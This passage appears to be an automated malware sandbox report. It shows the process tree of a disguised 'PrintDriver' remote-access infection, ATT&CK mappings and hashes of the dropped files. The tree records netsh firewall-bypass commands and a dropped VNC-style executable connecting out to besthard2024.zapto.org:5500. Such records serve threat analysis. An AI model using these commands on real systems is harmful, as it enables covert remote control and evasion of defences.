    Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
    3⤵
    PID:4760
- C:\Windows\System32\Wbem\WMIC.exe
  wmic process where (name="PrintDriver.exe") get commandline
  2⤵
  PID:3984
- C:\Windows\system32\findstr.exe
  findstr /i "PrintDriver.exe"
  2⤵
  PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"
  2⤵
  PID:1944
- C:\Windows\system32\cmd.exe
  cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\system32\mode.com
    Mode 90,20
    3⤵
    PID:3624
- - C:\Windows\system32\netsh.exe
    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:884
- - C:\Windows\system32\netsh.exe
    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1904
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where (name="PrintDriver.exe") get commandline
    3⤵
    PID:1348
- - C:\Windows\system32\findstr.exe
    findstr /i "PrintDriver.exe"
    3⤵
    PID:1592
- - C:\Games\PrintDriver.exe
    C:\Games\PrintDriver.exe -autoreconnect ID:5705403 -connect besthard2024.zapto.org:5500 -run
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1928
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3004
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:4324
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2372
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:3860
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:4084
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:2488
- C:\Games\PrintDrivers.exe
  C:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2528

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Games\driverhelp.cmd" "
1⤵
PID:5044
- C:\Windows\system32\mode.com
  Mode 90,20
  2⤵
  PID:4092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
  2⤵
  PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
  2⤵
  PID:876
- - C:\Windows\system32\reg.exe
    Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
    3⤵
    PID:1440
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:1564
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:3504
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2072
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2272
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:3992
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:4440
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:3764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57e169.rbs

Filesize
418KB

MD5
c6b31363c2a6c1a958684351f0f021a5

SHA1
fb0c1f10c0487b5f0b5432a395cab082d2b9dae1

SHA256
870b7eb48d48a0ab058892667fdb80e36d0763e6b9fd57352ada85c6cb9354a0

SHA512
450ec2660587a68bd827ccc8899cda754ef6f3964300586cc01b6431fe9d195e521ed122e8d21e285603d883a60a09473f280a42272170b2d6a714ec855a4cef

Download Submit
C:\Games\PrintDriver.exe

Filesize
2.8MB

MD5
27c1c264c6fce4a5f44419f1783db8e0

SHA1
e071486e4dfef3a13f958a252d7000d3ce7bfd89

SHA256
29379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db

SHA512
a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98

Download Submit
C:\Games\PrintDriver.txt

Filesize
1KB

MD5
6eb13f7936a83f4c44842029914aad6e

SHA1
7b9b27731d4ca6f996ce68c5d68b4d653e31d915

SHA256
8d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49

SHA512
227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e

Download Submit
C:\Games\PrintDrivers.cmd

Filesize
1KB

MD5
eacc690f71a77685f030bef23b506b91

SHA1
03b911ba997d44028bf515ea44fe4813b4b4a785

SHA256
0f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263

SHA512
9870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d

Download Submit
C:\Games\PrintDrivers.exe

Filesize
403KB

MD5
29ed7d64ce8003c0139cccb04d9af7f0

SHA1
8172071a639681934d3dc77189eb88a04c8bcfac

SHA256
e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f

SHA512
4bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415

Download Submit
C:\Games\UltraVNC.ini

Filesize
1KB

MD5
b9dfbea744cc6c65473a97f2b959e44c

SHA1
c022f1d97fa56d61ad935aafa4e9e59e611e746a

SHA256
6f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d

SHA512
b92c8ea3583eb87f365b96cd45562cac2c4343e281c5090fc00db3f03bb5538a2d8aea3c39449d8d79cad31ed3692f6045266811d50fdd69807d8b12a9649eb5

Download Submit
C:\Games\driverhelp.cmd

Filesize
870B

MD5
fd3b5847ddb8a31413951c0aa870ab95

SHA1
e3e91e3e9fa442cd1937422120de91da87973ddb

SHA256
e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad

SHA512
5d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096

Download Submit
C:\Users\Admin\AppData\Local\Temp\AIEC776.tmp

Filesize
6.7MB

MD5
85f914ec316e8d20e8e13ef3719e04e4

SHA1
86ec276d409525bd8c1ef6d47ec8eece7639c0a2

SHA256
00ceea629efd7eb1d9eee5706ce8089336259c099fc4af274baf857bd1ddf230

SHA512
6a9eebfd6b4e794ab1fd949fa2093559460390a1d7843484e2086145e2ae968d8c347a3b3392aab2ebc41463cf97a3d36b23b6e8f80000949bb66c8eff3ba4e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\EXEE4A8.bat

Filesize
369B

MD5
1c5d5ae76e4b41f226dc030864d0c128

SHA1
7b1d2f3d9e21d25c8afa3bd4934ea5d2af3c8b75

SHA256
890cc79d8a261b97fa4c8f5ed96960bf1690041780b9ce0f925c1205140ab00f

SHA512
1dadec663d2e7da7fd3a3849ef098a9453705a35b1f6f2fb6f4124e9fd1431e295537e974b1a7ca294a9109ddbc67dfa719c5773b7afef1623e2c6530b932293

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSID41B.tmp

Filesize
936KB

MD5
13056f6fc48a93c1268d690e554f4571

SHA1
b83de3638e8551a315bb51703762a9820a7e0688

SHA256
aeda49baf2d79da2f7a9266f1fb7884111c2620e187090321f5278af5131c996

SHA512
ca828b4248e399178a8614f941332d159a30bad0156df0d5f4c4ca9d74d0ccb61fac59f34c945f5f914e22ec639bd97718f76d21b452825b07fe4041d1a44824

Download Submit
C:\Windows\Installer\MSIE3AF.tmp

Filesize
413KB

MD5
c8311ded7db427ce2c2879558ce8a8c1

SHA1
1895ce48297025dc005ebebc8256ac6d62013dec

SHA256
6fc76509f00c8ac81b597feeab520e684d190d831d828ca318d1e54afbf4a193

SHA512
d293885ef98f4e3fd9794500b8d560354cec3227916df05027f8c311076c60f11b6857e4e0ab0618f4d42da8141b42bcfb829a3a43b29a73ce0aa9967a80a232

Download Submit